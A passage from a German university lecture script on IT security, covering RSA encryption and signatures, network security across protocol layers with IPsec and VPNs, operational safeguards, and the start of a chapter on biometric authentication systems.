ed = kφ(n) + 1 gilt. In diesem Fall gilt dann nach dem Satz von Euler für alle
natürlichen Zahlen m < n
m = med mod n = (me mod n)d mod n.
bzw.
c = me mod n
m = cd mod n.
Dieser Zusammenhang ermöglicht nun eine Verschlüsselung bzw. Entschlüsselung. Die
modulare Exponentation mit e liefert den Geheimtext c und anschließende modulare
Exponentation mit d liefert den ursprünglichen Klartext m. Es bleibt nun die Frage,
wie man man diese Zahlen e und d mit der geforderten Eigenschaft ed = kφ(n) + 1
berechnen kann und zwar derart, dass man den Wert d nicht effizient aus e berechnen
kann.
Der erste Kommunikationspartner A wählt zufällig Primzahlen p und q und berechnet n = pq. Die Primzahlen werden von A geheimgehalten, die Zahl n kann veröffentlicht werden. Da A die Zerlegung von n kennt, kann A schnell φ(n) = (p − 1)(q − 1)
berechnen, jeder andere Kommunikationspartner ist nicht in der Lage aus dem Wert
n allein effizient φ(n) zu berechnen. Nun wählt A eine zu φ(n) teilerfremde Zahl e
und kann so effizient mit dem so genannten erweiterten euklidischen Algorithmus
Zahlen d und k bestimmen, so dass die Bedingung ed = kφ(n) + 1 gilt. Nur wer φ(n)
kennt, kann aus e und n effizient dieses d bestimmen. In diesem Fall ist daher nur A
in der Lage d zu berechnen.
Der Kommunikationspartner veröffentlicht nun (e, n) als öffentlichen Schlüssel und
behält den Wert d als privaten Schlüssel. Der zweite Kommunikationspartner stellt
nun eine Nachricht als Zahl m < n dar und generiert mittels
c := me mod n
den Geheimtext. Der Kommunikationsteilnehmer A kann dann aus c mittels
m := cd mod n
die ursprüngliche Nachricht zurückgewinnen.
Nach demselben Prinzip lässt sich mittels RSA ein digitale Signaturberechnung
durchführen. Es wird eine Signatur durch Anwenden des privaten Schlüssels d auf
eine Nachricht m
s := md mod n
39
4 Kryptographie
berechnet. Zur Verfikation der Signatur wird
m0 := se mod n
berechnet. Sind m und m0 gleich, so wird die Signatur als gültig für die Nachricht m
akzeptiert.
40
Computernetzwerke, wie das Internet, bestimmen heute einen sehr grossen Teil
unseres täglichen privaten und geschäftlichen Lebens. Sie werden für fast jede denkbare Anwendung, von Telefonie, über Online-Banking bis hin zur Steuerung von
Atomkraftwerken, eingesetzt. Daher ist die Sicherheit der Datennetze und auch der
Kommunikation über diese Netze von entscheidener Bedeutung füer die Gesellschaft
und die Wirtschaftsunternehmen.
Dieses Kapitel beschreibt zuerst am Beispiel des Internets was die Eigenschaft
von Datennetzen im Bezug auf die Netzwerksicherheit sind. Im nächsten Kapitel
werden dann Maßnahmen beschrieben, um die Netzwerksicherheit im Bezug auf
die Schutzziele aus Kapitel 2.2 zu erreichen. Das letzte Kapitel beschreibt dann
einige kritische Aspekt im Bezug auf die Sicherheit im Internet, wie zum Beispiel
unerwünschte Email – sogenannte Spam.
5.1 Grundlegende Eigenschaften von Netzwerken
Kommunikationsnetzwerke, wie Telefonnetzwerke, Datennetzwerke, Steuerungsnetzwerke in industriellen Anlagen, vernetzen in der Regel mehrer Kommunikationspartner
über längere Distanzen hinweg und sind ausserhalb der eigenen Kontrolle über den
Weg den die auszutauschenden Daten nehmen. Desweiteren sind selbst geschütze
Kommunikationsnetzwerke, z.B. innerhalb eines abgeschlossenen Gebäudes, anfällig
füer Angriffe auf die Netzwerke und die Kommunikation. Diese Kapitel beschreibt
den allgemeinen Aufbau von Netzwerken und deren physikalische Implementierung
und die daraus enstehenden Angriffsmöglichkeiten.
Ein Kommunikationsnetzwerk besteht aus Endgeräten (engl. Hosts), Netzwerkelementen und Übertragungswegen (engl. Links) zwischen den Endgeräten und
Netzwerkelementen. Einge Beispiele für Endgeräte sind zum Beispiel Laptops, Smartphones oder Webserver und für die Übertragungswege Ethernet und WLAN. Die
bekanntesten Netzwerkelemente sind (Heim-)Router und Switche. Es gibt mehrere
sehr unterschiedliche Arten von Kommunikationsnetzwerken, wir beschränken uns
hier aber auf packetvermittelne Datennetzwerke im Hinblick auf das Internet.
5.1.1 Das Internet
Im Bild 5.1 sieht man den grundsätzlichen Aufbau des Internets. Das Internet, wie
auch andere Kommunikationsnetzwerke, besteht aus unterschiedlichen Netzwerkbereichen. Die Räender bestehen aus den allgemein bekannten Zugangsnetzen, wie die
41
Mobilfunknetze, die Heimnetzwerke und Firmennetzwerken. Diese Zugangsnetzwerke
werden üeber die Weitverkehrsnetze zusammengeschaltet und somit ist eine Kommunikation zwischen verschiedenen Teilnehmern möglich. Die Weitverkehrsnetze werden
in dem Bild als Internet Service Provider (ISP) bezeichnet.
Ruft man nun von seinem Smartphone im Mobilfunknetz eine Webseite auf, wird
dieser Webseiten-Aufruf vom Smartphone über die Funkschnittstelle (ein Übertragungsweg) an die ISPs (bestehend aus Netzwerkelementen und Übertragungswegen)
weitergeleitet. Von dort aus wird der Webserver in einem Firmennetzwerk erreicht,
welcher den Webseiten-Aufruf mit einer Antwort, der eigentlichen Webseite, beantwortet. Die Antwort wird vom Internet, also den Netzwerkelementen, an das Smartphone
übertragen. Man kann anhand dieser vereinfachten Beschreibung und dem Bild
5.1 schon erkennen, das mehrere Mitspieler an der Übertragung der Informationen
beteiligt sind, wie die ISPs, das Firmennetzwerk und die ISPs.
Für unsere weitere Betrachtung ist es wichtig zu verstehen, das Informationen
zwischen den Endgeräeten über die Übertragungswege und Netzwerkelemente ausgetauscht werden. Diese Informationen können einfache Textnachrichten, wie Email,
Telefonanrufe, interaktive Spiele und auch sensible Patientenakten sein.
5.1.2 Eigenschaften von IP-Netzwerken
Dieses Unterkapitel erklärt sehr kurz die technischen Eigenschaften von InternetProtokoll-Netzwerke (IP-Netzwerke), welche für das Verständniss hier benöetigt
werden. Eine umfassende Einführung kann man der Literatur (zB. [KR14]) entnehmen.
Das Internet selber ist ein IP-Netzwerk, es gibt aber auch IP-Netzwerke die nicht mit
dem Internet verbunden sind, z.B. private IP-Netzwerke..
Das Internet-Protokoll sorgt für den Datenaustausch zwischen den Hosts in einem
IP-Netzwerk. Dafür werden sogenannte Datagramme (oder auch Pakete) benutzt.
Diese Datagramme bestehen aus einem Protokollkopf (genannt Header) und der
Nutzlast. Die Nutzlast ist zum Beispiel ein Teil einer Webseite. Der Header beeinhaltet
Informationen zum Sender und Empfänger eines Pakets, was für eine Nutzlast sich i
Datagramm befindet und noch einige weitere Informationen.
Die Abbildung 5.2 zeigt das OSI-Schicht enmodell. Dieses Schichtenmodell zeigt die
unterschiedlichsten funktionalen Schi chten die in einem Netzwerk verwendendet werden. Jede Schicht stellt eine Funkti on zur Verfügung, z.B. findet sich das IP-Protokoll
in der Vermittlungsschicht, das für das Web verwendete Hyper-Text-TransportProtokoll (HTTP) findet sich in der Anwendungsschicht und das TransmissionControl-Protokoll (TCP) findet sich in der Transportschicht.
Die Netzwerkgeräte (engl. Hosts) in IP-Netzwerken werden mit IP-Adressen adressiert. Das heisst das jeder Host mindestens eine IP-Adresse benötigt, um mit anderen
Hosts kommunizieren zu können. Ein Beispiel füer eine IP Version 4 (IPv4) Adresse ist
192.168.178.1 und füer eine IP Version 6 (IPv6) Adresse ist 2001:1a80:2700:585:a96::1.
Es gibt diese zwei Versionen des IP Protokolls, IPv4 und IPv6. Jede Schicht im Schichtenmodell kann eigenen Adressen definieren und benutzen. Zum Beispiel gibt es in
der Transportschicht sogenannte Portnummern und in der Sicherrungsschicht so-
42
5.1 Grundlegende Eigenschaften von Netzwerken
genannte Link-Layer-Adressen. Die Link-Layer-Adressen werden auch manchmal
auch Hardware-Adressen genannt, da sie an die jeweilige Netzwerkkarten-Hardware
gebunden ist.
Das Internet ist ein grosses Netzwerk, welches aus vielen kleineren Netzwerken
zusammen gesetzt wird. Jeder kann Hosts an das Internet anschliessen und direkt in
das Netz gehen. Das Internet ist ein offenes Netzwerksystem: Jeder kann sich ohne
Kontrolle an das Internet anschliessen, jeder kann jeden erreichen, jeder kann senden,
was er oder sie möechte, jeder kann die ausgetauschten Daten sehen.
Abbildung 5.1: Internet-Übersicht
Bildquelle: [KR14]
Warum ist es wichtig sich über die Netzwerksicherheit Gedanken zu machen und
die grundlegenden Züege des Netzwerkes, der angeschlossenen Geräte und der ausgetauschten Informationen zu verstehen? Der Austausch von Informationen über
43
Abbildung 5.2: Netzwerk-Schichtenmodell
Bildquelle: Tanenbaun
Kommunikationsnetze bestimmt heute massgeblich unser Leben. Falsche Informationen, unterdrückte Informationen oder der Missbrauch von Endgeräeten kann einen
grossen persönlichen und auch finaziellen Schaden nachsich ziehen. Als Beispiele sein,
die üerwünschte Veröffentlichung von privaten Daten (wie Fotos, Krankenakten, etc)
genannt, also auch die allgemein bekannten Angriffe auf das Online-Banking mit dem
Ziel einem Opfer Geld zu stehlen.
5.2 Netzwerksicherheit
Netzwerksicherheit ist ein weit gefasster Begriff, der vom sicheren Entwurf von
Netzwerkprotokollen, über die verschlüsselte Übermittlung von Daten, bis hin zur
44
betrieblichen Sicherheit von ganzen Netzwerkinfrastrukturen geht. Netzwerksicherheit
beschreibt wie ein Netzwerk und die Dienste (z.B. elektronische Email) in diesem
Netzwerk so benutzt werden können, das die gesetzten Sicherheitsziele erreicht werden
können.
5.2.1 Sicherheit in unterschiedlichen Schichten
Je nach Sicherheitsziel muss man sich im Klaren sein, auf welcher Schicht man
welche Sicherheit erreichen kann. Nimmt man zum Beispiel an, das ein Angreifer
nur in der Lage sein soll zu erkennen, ob zwischen zwei Hosts kommuniziert wird,
aber nicht was für Daten ausgestauscht werden, muss man möglichst weit in den
unteren Schichten des Schichtenmodells ansetzen. Dann ist sichergestellt, das ein
Angreifer nicht erkennen kann welche Protokolle und Daten zwischen den Hosts
ausgetauscht werden. Gehen wir nun durch die wichtigen Schichten durch und welche
Sicherungsmassnahmen dort vorhanden sind.
Abbildung 5.3: Beispielhaftes IP-Netzwerk mit Schichten
Die Abbildung 5.3 zeigt ein beispielhaftes IP-Netzwerk mit den unterschiedlichsten
Schichten. Allerdings haben nicht alle Netzwerk geräte alle Schichten implementiert,
das sie gewisse Schichten nicht benötigen. Am linken und rechten Rand sind man
jeweils einen Endhost, wie einen Laptop, PC, oder Server, die alle Schichten implementiert haben: Web-Server (Anwendungsschicht), Transmission Control Protocol
(TCP, Transport-Schicht), Internet-Protokoll (IP, Vermittlungsschicht) und Ethernet
(Sicherungsschicht). Dagegen implementieren die IP-Router nur die Sicherungsschicht
45
(mit Ethernet, Digital Subsrciber Line (DSL), und Ethernet) und die Vermittlungsschicht. Wir benutzen die Abbildungen in den folgenden Kapitel, um die einzelnen
Sicherheitsmechanism in der jeweiligen Schicht einzuordnen.
Sicherungsschicht/Link-Layer
Die physikalische Verbindung zwischen zwei Netzwerkgeräten wird durch das LinkLayer in Verbindung mit dem Bit-Layer realisiert. Die NetzwerkgerÃ¤te sind entweder
durch Kabel oder Funk miteinander verbunden, die zum Bit-Layer gehöeren. Bekannte
Beispiele für Link-Layers sind Ethernet und Wireless-LAN (WLAN oder auch WiFi).
In der Abbildung 5.3 erkennt man das vier verschiedenen Link-Layer Technolien
auf dem Pfad vom Client zum Webserver benutzt werden: Wireless LAN, Digitial
Subscriber Line (DSL) und Ethernet. Nicht jeder dieser Link-Layers bietet eine Art
von Sicherheitsmechanism. Zum Beispiel bietet DSL keine Sicherheitsmechanism.
Dagegen bieten Wireless-LAN und Ethernet Zugangskontrolle und Verschlüsselung
an. Die genauen Details sprengen den Rahmen des Skripts und der Vorlesung.
Für das grundlegende Sicherheitsverständnis ist jedoch die Tatsache wichtig, das auf
einem Pfad durch ein Netzwerk oft mehrere, verschiedene Link-Layer-Technologien
benutzt werden: Es gibt mehrere Netzwerkabschnitte (auch Netzwerksegmente genannt). Ein Datenaustausch zwischen dem Client und dem Webserver kann somit
zwar innerhalb der einzelnen Segmente gesichtert werden, aber die IP-Router können
die Daten einsehen und verändern. Für eine Absicherung der Datenübertragung
zwischen dem Sender (hier der Browser) und dem Empfänger (hier der Webserver)
ist somit eine Absicherung der Daten auf einer höheren Schicht erforderlich, welche
eine Kommunikation zwischen den Knoten Ende-zu-Ende absichert.
Der Grund dafür ist, das sehr oft nur einzelne Segment abgesichert werden. Zum
Beispiel wird in der Regel der Wireless-LAN-Zugang verschlüsselt, aber alle Segmente
dahinter (z.B. DSL und Ethernet) üebertragen die Daten ungesichert. Damit können
alle Daten von einem IP-Router und jemand der den Übertragungsweg (Links) abhört
mitgelesen und verändert werden.
Vermittungsschicht/Network-Layer
Um jede Datenübertragung zwischen zwei Endgeräten, also vom einem Ende zum
anderen Ende, gegen das Mitlesen und Verändern von Daten zu sichern, benötigt man
eine Sicherheitstechnik auf der Vermittlungsschicht. Die Vermittlungsschicht (das
Internet Protokoll in unserem Fall) ist unabhänging von dem verwendeten Link-Layer
und alle höheren Schichten werden von der Vermittlungsschicht aufgenommen und
von einem Ende des Netzwerkes zum anderen Ende des Netzwerkes übertragen.
Das Kapitel 5.2.2 geht auf eine Technologie zur sicheren Ende-zu-Ende Übertragung
auf der Vermittlungsschicht ein.
Das nächste Kapitel beschreibt die Absicherung auf der Transport-Schicht. Die
Absicherung der Datenübertragung auf der Transport-Schicht ist aus der praktischen
Notwendigkeit entstanden, das die Verwendung einer Absicherung auf der Vermitt-
46
lungsschicht ein Veränderung des Computerbetriebssystems bedarf, was schwierig sein
kann. Zudem gibt es seitens des Netzwerkes gewisse Voraussetzungen, die erfüllt sein
müßen. Die Absicherung auf dem Transport-Layer ist einfacher zu implementieren
und benötigt keine Veränderung des Computerbetriebssystems.
Transportschicht/Transport-Layer
Aus historischen Gründen ist das Hinzufügen von neuen Eigenschaften zu dem Netzwerkstack in einem Betriebssystem einfacher auf dem Transport-Layer. Daher wurde
auch in dem Transport-Layer Authentifizierungs und Veschlüsselungsmechanismen
hinzugefügt. Das Kapitel 5.2.3 beschreibt die standardisierte Lösung zur Absicherung
des Transport-Layers.
Anwendungsschicht/Application-Layer
Es gibt wie oben erwähnt Sicherungsmöglichkeiten auf mehreren Schichten, die
entweder auf einem Netzwerksegment die Daten absichern oder von einem Endhost zu
einem anderen Endhost. Allerdings ist der Endhost der Kommunikationsverbindung
auf einer unteren Schicht (wie Link-Layer, Network-Layer und Transport-Layer) nicht
immer das wirkliche Ende an das die Applikationsdaten gesendet werden.
Als illustratives Beispiel nehmen wir die elektronische Post – Email –, die von
dem Absender über einen oder mehrer Emailserver zum Empfänger geschickt wird.
Die Abbildung 5.4 zeigt die Schritte der Emailübertragung. Zuerst versendendet
Alice in Schritt 1 die Email von Ihrem Webbrowser (falls Webmail) oder von ihrem
Emailprogramm aus an den Mailserver von Alice (Schritt 2). Der Mailserver verschickt
in Schritt 4 (mit dem SMTP-Protokoll) die Email zu Bobs Mailserver, welcher dann
in Schritt 6 die Email an den Empfänger Bob übergibt.
Betrachtet man nun die Ende-zu-Ende-Übertragungen unterhalb des ApplikationsLayers, so hat man jeweils eine Ende-zu-Ende-Übertragung zwischen:
• dem Anwendungsprogramm von Alice und dem Mailserver von Alice (der Schritt
2)
• dem Mailserver von Alice und Bobs Mailserver (Schritt 4)
• und schliesslich von Bobs Mailserver zu Bobs Anwendungsprogramm (Schritt
6).
Die illustrierten Schritte 2, 4 und 6 werden in der Regel auf dem Transport-Layer
abgesichtert, so das die Daten nicht veräendert oder mitgelesen werden können.
Jedoch ist die eigentliche Email nicht gegen Veränderungen auf dem Weg von Alice
zu Bob gesichert, da die Email ungeschützt auf den Servern gespeichert wird. Daher
könnte ein Angreifer die Email auf einem der Mailserver abfangen und mitlesen oder
den Inhalt verändern.
Möchte man nun die Email für den gesamten Weg von Alice zu Bob absichern, so
muss die Email selber geschützt werden. Emails gehören zum Applikation-Layer und
somit ist auch ersichtlich, warum eine Absicherung auf diesem Layer erforderlich ist.
47
Abbildung 5.4: Email-Übertragung vom Absender zum Empfänger
Bildquelle: [KR14]
IPsec Key Exchange Protokoll
Das IPsec-Protokoll dient zum gesicherten Austausch der Daten zwischen zwei Endhosts und benötigt das Internet Key Exchange (IKE) Protokoll, um die zu verwendenden Schlüssel, Schlüsselparameter und Kommunikationsparameter auszuhandeln.
IKE wird nicht für den eigentlich Datenaustausch benutzt, sondern nur die Parameter
auszuhandeln.
5.2.2 Ende-zu-Ende Sicherheit: IPsec
Die Internet-Protokoll-Security (IPsec) ist ein Rahmenwerk, welches Verschlüsselung
und Authentifizierung zum IP-Protokoll hinzufügt. IP wurde von seinem Urpsrung
her ohne jeden Sicherheitsmechanismus entworfen und auch betrieben. IPsec wird in
einer Reihe von Standardsdokumenten, den Request For Comments (RFCs) definiert,
und bietet eine Ende-zu-Ende Verschlüsselung und Authentifizierung der übertragenden Daten. Man hat im Einsatz die Wahl die Daten nur zu Verschlüsseln, nur zu
Authentifizieren, oder sie zu Verschlüsseln und zu Authentifizieren.
Das IPsec Protokoll wird hautpsächlich zur Realisierung von sogenannten Virtual
Private Networks (VPNs) benutzt. VPNs werden in Firmenumgebungen oft benutzt.
Dort gibt es in der Regel ein zentrales Firmennetzwerke (engl. enterprise network),
welches nicht Teil des Internets ist, sondern ein abgekapseltes Netzwerk. Allerdings
benötigen Angestellte einer Firma oft Zugriff auf die Dienste in dem Firmennetzwerk,
ohne allerdings direkt mit dem Firmennetzwerk verbunden zu sein. Zum Beispiel
kann ein Angesteller bei einem Kunden vor Ort sein und mit seinem Laptop auf eine
Datenbank im Firmennetzwerk zugreifen oder es gibt Filialen, die auf einen zentralen
Dateiserver zugreifen müssen.
Diese Firmennetzwerke sollen natürlich nur füer Angestellte der jeweiligen Firma
zugänglich sein. Daher werden die Virtual Private Networks (VPNs) benutzt. Die
Abbildung 5.5 zeigt so eine Konfiguration.
Die Daten von einem Computer der mit einem VPN verbunden ist, werden auf
dem Computer verschlüsselt und dann erst über das Netzwerk versendent. Auf der
Gegenseite gibt es ein sogenanntes VPN-Gateway, welches die VPN-Verbindung
48
Abbildung 5.5: Virtual Private Network (VPN)
Bildquelle: [KR14]
terminiert und die Daten in das Firmennetzwerk leitet und umgekehrt die Daten
wieder zum Computer verschlüsselt zurückschickt.
Für die verschlüsselte Übertragung zwischem dem mobilen Computer und dem
VPN-Gateway wird die IPsec Encrytped Service Payload (ESP, siehe Abbildung 5.6
benutzt. Im Bild 5.6 sieht man zwei Varianten: den Transportmodus und der Tunnelmodus. Für IPsec VPNs wird der Tunnelmodus benutzt, da der gesamte Verkehr zum
und aus dem Firmennetzwerk durch das VPN getunnelt wird. Im Tunnelmodus wird
ein reguläres IP/TCP-Paket erstellt (TCP ist das Transmission Control Protokoll
und ist ein Transport-Layer Protokoll). Anschliessend wird dieses IP/TCP-Paket mit
einem ESP und einem neuen IP-Header versehen. Somit ist füer einen Angreifer nicht
zu erkennen, was in dem VPN-Tunnel versendet wird, da wie in dem Bild gezeigt
alles zwischen dem ESP-Header und dem Authentifizierungsheader verschlüsselt wird.
Die Authentifizierung die der ESP-Header, bzw. ESP-Trailer in Form der Authentifizierung, mitbringt erstreckt sich aber nicht über das gesamte Paket, sonder nur über
den ESP-Header, Trailer und die eigentlichen Daten. Falls die Authentifizierung des
gesamten Paketes gewünscht ist, muss zusätzlich der Authentication Header (AH,
siehe Bild ??) benutzt werden).
Falls der Authentication Header nicht benutzt wird, kann ein Angreifer gefälschte
IP-Pakete erzeugen und an einen IPsec-Empfänger schicken, der diese Paket erstmal
bearbeiten muss. Diese gefälschten Pakete werden spätestens bei dem Versuch des
Entschlüsselns erkannt und verworfen. so dass keine gefälschten Pakete weiterbearbeiten werden. Jedoch kann ein Angreifer eine Unmenge an gefälschten Paketen senden
und den Empfänger überwältigen.
Es gibt aber einen guten Grund, warum alle gängingen VPNs keinen AH verwenden: Es gibt Geräte im Netz, die den Inhalt des IP-Headers verändern, zum Beispiel,
sogenannte Network Addresse Translator (NAT), die in fast allen Heimroutern (Homegateways) verbaut sind. Durch diese Veränderungen ist dann die Authenifizierung
des Paketes nicht mehr gültig und somit wird das gesamte Paket verworfen.
49
Abbildung 5.6: IPsec Encrypted Service Payload (ESP)
Bildquelle: [KR14]
Abbildung 5.7: IPsec Authentication Header (AH)
Bildquelle: [KR14]
5.2.3 Ende-zu-Ende Sicherheit: TLS
Harald würde noch etwas zu TLS beitragen.
5.2.4 Operative Netzwerksicherheit
Die vorhergehenden Kapitel haben die Absicherung der Übertragung von Daten über
ein Netzwerkbeschrieben, sind aber nicht auf die betriebliche (operative) Absicherung
von verschiedenen Netzwerkgeräten eingegangen. Zur operativen Absicherung von
Netzwerkgeräten gehören:
• das Absichern des Software und Hardware, so das keine erfolgreichen Angriffe auf
die Geräte passieren können. Zum Beispiel darf eine Netzwerkapplikation nicht
zulassen, das über die Netzwerkverbindung Schadsoftware auf einen Computer
eingespielt werden kann. Das Absicherung hier bezieht sich füer einen Benutzer
von Netzwerkgeräten priär auf das einspielen von Softwareupdates.
• die konstanten Überprüfung der Netzkwerkgeräte durch sogenannte Virenscanner, um einen Befall durch Schadsoftware sofort zu erkennen und zu unterbinden.
50
5.3 Internetsicherheit
• in einem professionellen Umfeld, wie in einem Rechenzentrum, die Überwachung
des Netzwerkverkehrs auf unerwartete Aktivitäten, die auf einen Befall mit
Schadsoftware und Hardware hindeuten köennen.
• die Sicherung des Zugangs zum Netzwerk durch eine Benutzer- oder Gerätezugangserkennung, wie zum Beispiel Zugangsdaten füer den Internetanschluss zu
Hause oder an der Hochschule.
• die Sicherung des Zugangs zum Netzwerk abhängig von den Kommunikationsprotokollen durch sogenannte Firewalls.
• die Sicherung des Zugangs zum Netzwerk abhängig von den Daten, welche
mit den Kommunikationsprotokollen übertragen werden, durch sogenannte
Content-Filter oder Deep Packet Inspection (DPI).
5.3 Internetsicherheit
Kurzer Abriss Malware, Bots, Botnetze sowie deren Use cases DDoS, Spam
5.4 Zusammenfassung
Dieses Kapitel ist eine erste Einführung in das Feld der Netzwerksicherheit. Es ist
unvollständig, da der gesamt Themenkomplex zu gross ist, soll aber erste Kenntnisse
in diesem Bereich vermitteln und neugierig auf mehr machen.
Für viele Studierende und Benutzer des Internets ist das Internet ein grosse schwarze
Kiste, da man fast nie sehen kann, was dort genau passiert. Es gibt jedoch einige
Werkzeuge mit denen man ein wenig Einblick nehmen kann, was in einem Netzwerk
passiert.
Es gibt zum Beispiel Werkzeuge mit denen man den Netzwerkverkehr seines eigen
Computers aufzeichnen und analysieren kann. Zum Teil kann man damit auch
fremden Datenverkehr aufzeichnen und analysieren. Ein empfehlenswertes Werkzeug
ist Wireshark [Wir].
51
Dieser Teil der Veranstaltung beschäftigt sich mit Biometrischen Verfahren, deren
primärer Zweck es ist, die Zugangskontrolle mit einem nicht-delegierbaren Authentisierungsfaktor zu realisieren. Sie dienen einerseits dazu, dem Benutzer eines IT-Systems
mehr Komfort zu bieten. Andererseits steigern sie auch die Sicherheit der Zugangskontrolle. Wir werden betrachten, wie diese Verfahren funktionieren, welche Stärken
und Schwächen sie aufweisen. Diese Schwächen betrachten wir, um zu erkennen wie
beispielsweise das Überwinden eines Fingerabdrucksensors durch Gummifinger verhindert werden kann. Die Kompatibilität von biometrischen Systemen zu den geltenden
Datenschutzregeln ist besonders wichtig. Deshalb werden wir Privacy Enhancing
Technologies (PET) für biometrische Verfahren betrachten.
53
6.1 Einführung
Hier werden zunächst die Grundlagen von biometrischen Systemen betrachtet. Unter
Biometrie versteht man ein Messverfahren zur Wiedererkennung von Personen. Die
Internationale Standardisierung definiert1 den Begriff biometrics wie folgt: automated
recognition of individuals based on their behavioural and biological characteristics
[ISO12]. Biometrische Verfahren analysieren demnach das Verhalten des Menschen
und/oder eine Eigenschaft der biologischen Charakteristika. Die biologischen Charakteristika gliedern sich einerseits in anatomische Charakteristika, die geprägt werden
durch Strukturen des Körpers und andererseits in physiologische Charakteristika, die
geprägt werden durch Funktionen des Körpers wie beispielsweise die Stimme. Der
Vorgang der biometrischen Authentisierung liefert eine eindeutige Verknüpfung einer
natürlichen Person (d.h. ein Individuum) mit ihrer Identität unabhängig davon, wo
diese Identität gespeichert ist. Der Vorgang der biometrischen Wiedererkennung lässt
sich in die folgenden Schritte untergliedern:
• Erfassung der biologischen Charakteristika mit geeigneten Sensoren
• Vorverarbeitung zur Datenverbesserung
• Merkmalsextraktion zur signifikanten Beschreibung der Muster
• Vergleich der Merkmale mit den vorab gespeicherten Referenzdaten
Der Vorgang bedingt, dass grundsätzlich eine Person vorab eingelernt wurde
(Enrolment), um die notwendigen Referenzdaten zu bilden. Biometrische Systeme
können als Verifikationssysteme oder als Identifikationssysteme ausgelegt sein. Bei
einem Verifikationssystem gibt der Nutzer eine Identität vor, zu der im System eine
Referenz vorliegt. Sofern biometrische Systeme mit einem authentischen Dokument
(zum Beispiel einer Kundenkarte) kombiniert werden, kann die biometrische Referenz
(z.B. Passphoto) auf diesem Dokument abgelegt sein. Zum Zeitpunkt der Verifikation
wird ein Vergleich mit genau diesem einen Referenzbild durchgeführt (1:1 Vergleich).
Bei einem Identifikationssystem hingegen wird das erfasste Bild mit vielen eingelernten
Bildern verglichen und aus dieser Menge das am besten passende Muster ermittelt
(1:n Vergleich). Die Ähnlichkeit zwischen beiden Bildern muss jedoch ein definiertes
Mindestmass erreichen, damit eine zuverlässige Zuordnung der mit dem Referenzbild
verbundenen Identität vorgenommen werden kann.
Die Vorgehensweise des Enrolments, einer Verifikation und einer Identifikation sind
in der Abbildung 6.1 dargestellt, aus der auch die wesentlichen Komponenten eines
biometrischen Systems erkennbar werden [ISO08]. Beim Aufbau eines biometrischen
Systems müssen nicht nur passende technische Komponenten (d.h. Sensor, Signal
Processing Subsystem, Comparison Subsystem und Decision Subsystem) ausgewählt
werden sondern es müssen auch für die Zielgruppe ein geeignetes biometrisches
Charakteristikum gewählt werden, das folgende Eigenschaften erfüllt:
1
biometrics ist definiert unter http://www.christoph-busch.de/standards.html#370103
54
6.1 Einführung
Abbildung 6.1: ISO/IEC JTC1 SC37 Architektur eines biometrischen Systems
[ISO08]
• Verbreitung - jede natürliche Person sollte die Charakteristik haben.
• Einzigartigkeit - die Charakteristik ist unterschiedlich für jede Person
• Beständigkeit - die Charakteristik verändert sich nicht mit der Zeit
• Messbarkeit - die Charakteristik ist mit geringem Aufwand messbar
• Performanz - gute Erkennungsleistung, geringer Aufwand der Algorithmen
• Akzeptabilität - die Methode wird von der Zielgruppe angenommen
• Sicherheit - es ist schwer, ein Replikat der Charakteristik zu erstellen
Werden einzelne Eigenschaften (Kriterien) in einem mono-modalen System nicht
erfüllt, so können multi-modale Systeme eine Lösung sein, bei denen man beispielsweise
eine Gesichtserkennung mit einer Iriserkennung verbindet, um eine ausreichende
Erkennungsleistung des biometrischen Systems zu erzielen.
Biometrische Charakteristika entstehen immer auch unter Einwirkung der von
den Eltern übernommen Gene. Das Gesicht ähnelt oft dem der Eltern. Auch ist ein
bestimmtes Verhalten (der Gang, die Art zu sprechen) oft von den Eltern übernommen
oder wird im Laufe des Lebens an Vorbilder adaptiert. Zu einem gewissen Anteil sind
55
Charakteristika daher genetisch geprägt oder durch Verhalten und Umwelt geprägt.
Ein gutes und geeignetes biometrisches Charakteristikum wird jedoch in erster Linie
durch Zufallsfaktoren ausgeprägt. Dies gilt beispielsweise für die Entstehung eines
Fingerabdrucks oder das Muster der Iris die bereits in der Schwangerschaft durch
zufällig entstehen und deren Muster beständig bleiben und auch im Wachstum zum
Erwachsenen sich nicht mehr verändern.
Eigenschaften Biometrischer Verfahren
Neben den Eigenschaften der Charakteristika können wir auch die Messverfahren und
Auswerteverfahren hinsichtlich ihrer Eigenschaften betrachten und somit biometrische
Verfahren nach Kriterien sortieren. Eine solche Betrachtung von Kategorien ermöglicht
es, bestimmte Verfahren in einem Auswahlverfahren zu bewerten. Hier einige Beispiele
von Kategorien:
• statisch / dynamisch - wird eine Charakteristik als Schnappschuss (z.B. Foto
des Gesichtes) aufgezeichnet, oder ist eine kontinuierliche Messung eines Signals
(z.B. Aufzeichnung der Sprache oder des Tastaturverhaltens) notwendig.
• kooperativ / nicht kooperativ - diese Kategorie die auch oft vereinfachend
aktiv / passiv bezeichnet wird unterscheidet solche Messverfahren, bei denen
die betroffene Person (engl. biometric capture subject 2 ) wissentlich mit dem
Sensor interagiert (z.B. beim Fingerabdruck) von solchen Verfahren, bei denen die betroffen Person sich über die Erfassung gar nicht bewusst ist (z.B.
Videoüberwachung)
• kontaktfrei / kontaktbehaftet - für einige Modalitäten (z.B. Fingerbilder)
ist die Aufzeichnung sowohl kontaktfrei also über ein digitales Foto oder kontaktbehaftet also über eine dedizierten Fingerabdrucksensor möglich. Die Wahl
des Sensors hat Einfluss auf eine etwaige Deformation des Fingers (z.B. durch
den Druck beim Auflegen) und auch auf die Akzeptanz des Verfahren, was durch
Sorgen der betroffenen Personen vor Übertragung von Krankheiten betrifft.
• offene / geschlossen - große biometrische Systeme, wie die forensischen Anwendungen der Kriminalämter sind in der Regel offen gestaltet, damit Daten in
einem einheitlichen standardisierten Format zwischen verschiedenen Dienststellen ausgetauscht werden können. Auch heutige Grenzkontrolle-Anwendungen
wie das EasyPASS [Bun] am Frankfurter Flughafen, sind offene System, da ein
Personaldokument, das ggfls. ausserhalb Deutschlands produziert wurde, zur
Einreise ausgelesen werden muss (mehr dazu in Kapitel 6.7). Das Speichern von
biometrischen Daten im Pass in einem Standardformat [ISO05a, ISO05b] ist
dazu eine zwingend notwendige Vorraussetzung. Ein Unternehmen, das die Zugangskontrolle über Biometrie sicherstellen möchte, kann ein geschlossenes und
proprietäres Speicherformat einsetzen, wobei sich allerdings ein hohes Risiko
2
biometric capture subject ist definiert www.christoph-busch.de/standards.html#370703
56
6.1 Einführung
ergibt: Falls der Systemanbieter den Markt verlässt, müssen die Referenzdaten
umkodiert oder ggfls. neu erhoben werden.
• betreut / nicht betreut - einige biometrische Systeme wie in der Grenzkontrolle werden bewusst nur unter Betreuung betrieben. Für manche Sensoren
